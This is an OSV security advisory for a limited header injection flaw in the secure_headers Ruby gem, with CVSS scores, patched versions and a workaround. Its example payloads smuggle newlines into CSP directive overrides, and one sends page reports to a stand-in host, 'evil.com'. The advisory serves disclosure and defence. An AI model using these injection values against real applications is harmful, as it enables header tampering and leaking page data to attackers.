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osvGoogleOSV:GHSA-W978-RMPF-QMWG
HistoryJan 23, 2020 - 2:27 a.m.

Limited header injection when using dynamic overrides with user input in RubyGems secure_headers

2020-01-2302:27:53
Google
osv.dev
3

5.8 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

NONE

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

0.001 Low

EPSS

Percentile

37.0%

Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` 

would result in

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) 
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header

Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

Workarounds

override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])

References

https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
The effect of multiple policies

For more information

If you have any questions or comments about this advisory:

  • Open an issue in this repo
  • DM us at @ndm on twitter

5.8 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

NONE

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

0.001 Low

EPSS

Percentile

37.0%

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